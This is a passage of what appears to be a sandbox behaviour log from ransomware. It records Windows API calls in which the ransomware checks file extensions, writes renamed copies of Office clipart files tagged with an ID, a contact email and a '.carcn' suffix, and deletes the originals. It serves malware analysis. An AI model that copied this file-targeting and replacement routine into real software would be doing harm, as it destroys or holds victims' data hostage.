lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.461] SetEndOfFile (hFile=0x368) returned 1 [0298.461] CloseHandle (hObject=0x368) returned 1 [0298.461] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.461] SetEndOfFile (hFile=0x388) returned 1 [0298.462] CloseHandle (hObject=0x388) returned 1 [0298.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0298.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.463] lstrlenW (lpString=".doc") returned 4 [0298.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.463] lstrlenW (lpString=".docx") returned 5 [0298.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.463] lstrlenW (lpString=".pdf") returned 4 [0298.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.463] lstrlenW (lpString=".xls") returned 4 [0298.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.463] lstrlenW (lpString=".xlsx") returned 5 [0298.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.463] lstrlenW (lpString=".ppt") returned 4 [0298.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.463] lstrlenW (lpString=".zip") returned 4 [0298.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.464] lstrlenW (lpString=".rar") returned 4 [0298.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString=".bz2") returned 4 [0298.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString=".7z") returned 3 [0298.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.464] lstrlenW (lpString=".dbf") returned 4 [0298.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.464] lstrlenW (lpString=".1cd") returned 4 [0298.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.464] lstrlenW (lpString=".jpg") returned 4 [0298.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.464] lstrlenW (lpString=".doc") returned 4 [0298.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString=".docx") returned 5 [0298.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.464] lstrlenW (lpString=".pdf") returned 4 [0298.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString=".xls") returned 4 [0298.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.464] lstrlenW (lpString=".xlsx") returned 5 [0298.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.464] lstrlenW (lpString=".ppt") returned 4 [0298.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.465] lstrlenW (lpString=".zip") returned 4 [0298.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.465] lstrlenW (lpString=".rar") returned 4 [0298.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.465] lstrlenW (lpString=".bz2") returned 4 [0298.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.465] lstrlenW (lpString=".7z") returned 3 [0298.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.465] lstrlenW (lpString=".dbf") returned 4 [0298.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.465] lstrlenW (lpString=".1cd") returned 4 [0298.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0298.465] lstrlenW (lpString=".jpg") returned 4 [0298.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.465] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.465] lstrlenW (lpString="BS00100_.WMF") returned 12 [0298.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.466] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2378) returned 1 [0298.466] CloseHandle (hObject=0x388) returned 1 [0298.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0298.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.466] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.466] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0298.467] GetLastError () returned 0x0 [0298.467] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x94a, lpOverlapped=0x0) returned 1 [0298.896] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x950, lpOverlapped=0x0) returned 1 [0298.897] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.897] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.897] SetEndOfFile (hFile=0x368) returned 1 [0298.898] CloseHandle (hObject=0x368) returned 1 [0298.898] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.898] SetEndOfFile (hFile=0x388) returned 1 [0298.899] CloseHandle (hObject=0x388) returned 1 [0298.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0298.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.900] lstrlenW (lpString=".doc") returned 4 [0298.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.900] lstrlenW (lpString=".docx") returned 5 [0298.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.900] lstrlenW (lpString=".pdf") returned 4 [0298.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.900] lstrlenW (lpString=".xls") returned 4 [0298.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.900] lstrlenW (lpString=".xlsx") returned 5 [0298.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.900] lstrlenW (lpString=".ppt") returned 4 [0298.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.900] lstrlenW (lpString=".zip") returned 4 [0298.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.900] lstrlenW (lpString=".rar") returned 4 [0298.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.900] lstrlenW (lpString=".bz2") returned 4 [0298.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.900] lstrlenW (lpString=".7z") returned 3 [0298.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.900] lstrlenW (lpString=".dbf") returned 4 [0298.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.901] lstrlenW (lpString=".1cd") returned 4 [0298.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.901] lstrlenW (lpString=".jpg") returned 4 [0298.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.901] lstrlenW (lpString=".doc") returned 4 [0298.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString=".docx") returned 5 [0298.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.901] lstrlenW (lpString=".pdf") returned 4 [0298.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString=".xls") returned 4 [0298.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.901] lstrlenW (lpString=".xlsx") returned 5 [0298.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.901] lstrlenW (lpString=".ppt") returned 4 [0298.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.901] lstrlenW (lpString=".zip") returned 4 [0298.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.901] lstrlenW (lpString=".rar") returned 4 [0298.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.901] lstrlenW (lpString=".bz2") returned 4 [0298.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.902] lstrlenW (lpString=".7z") returned 3 [0298.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.902] lstrlenW (lpString=".dbf") returned 4 [0298.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.902] lstrlenW (lpString=".1cd") returned 4 [0298.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0298.902] lstrlenW (lpString=".jpg") returned 4 [0298.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.902] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.902] lstrlenW (lpString="BS00440_.WMF") returned 12 [0298.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.902] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=5580) returned 1 [0298.903] CloseHandle (hObject=0x388) returned 1 [0298.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0298.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.903] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.903] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0298.911] GetLastError () returned 0x0 [0298.911] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x15cc, lpOverlapped=0x0) returned 1 [0298.912] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x15d0, lpOverlapped=0x0) returned 1 [0298.913] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.913] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.914] SetEndOfFile (hFile=0x368) returned 1 [0298.914] CloseHandle (hObject=0x368) returned 1 [0298.914] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.914] SetEndOfFile (hFile=0x388) returned 1 [0298.915] CloseHandle (hObject=0x388) returned 1 [0298.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0298.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.916] lstrlenW (lpString=".doc") returned 4 [0298.916] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.916] lstrlenW (lpString=".docx") returned 5 [0298.916] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.916] lstrlenW (lpString=".pdf") returned 4 [0298.916] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.916] lstrlenW (lpString=".xls") returned 4 [0298.916] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.916] lstrlenW (lpString=".xlsx") returned 5 [0298.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.916] lstrlenW (lpString=".ppt") returned 4 [0298.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.916] lstrlenW (lpString=".zip") returned 4 [0298.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.916] lstrlenW (lpString=".rar") returned 4 [0298.916] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString=".bz2") returned 4 [0298.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString=".7z") returned 3 [0298.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.917] lstrlenW (lpString=".dbf") returned 4 [0298.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.917] lstrlenW (lpString=".1cd") returned 4 [0298.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.917] lstrlenW (lpString=".jpg") returned 4 [0298.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.917] lstrlenW (lpString=".doc") returned 4 [0298.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString=".docx") returned 5 [0298.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.917] lstrlenW (lpString=".pdf") returned 4 [0298.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.917] lstrlenW (lpString=".xls") returned 4 [0298.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.917] lstrlenW (lpString=".xlsx") returned 5 [0298.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.917] lstrlenW (lpString=".ppt") returned 4 [0298.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.918] lstrlenW (lpString=".zip") returned 4 [0298.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.918] lstrlenW (lpString=".rar") returned 4 [0298.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.918] lstrlenW (lpString=".bz2") returned 4 [0298.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.918] lstrlenW (lpString=".7z") returned 3 [0298.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.918] lstrlenW (lpString=".dbf") returned 4 [0298.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.918] lstrlenW (lpString=".1cd") returned 4 [0298.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0298.918] lstrlenW (lpString=".jpg") returned 4 [0298.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.918] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.918] lstrlenW (lpString="BS00441_.WMF") returned 12 [0298.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.919] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=3524) returned 1 [0298.919] CloseHandle (hObject=0x388) returned 1 [0298.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0298.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.919] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.919] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0298.920] GetLastError () returned 0x0 [0298.920] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xdc4, lpOverlapped=0x0) returned 1 [0298.921] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0298.922] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.922] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.923] SetEndOfFile (hFile=0x368) returned 1 [0298.923] CloseHandle (hObject=0x368) returned 1 [0298.923] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 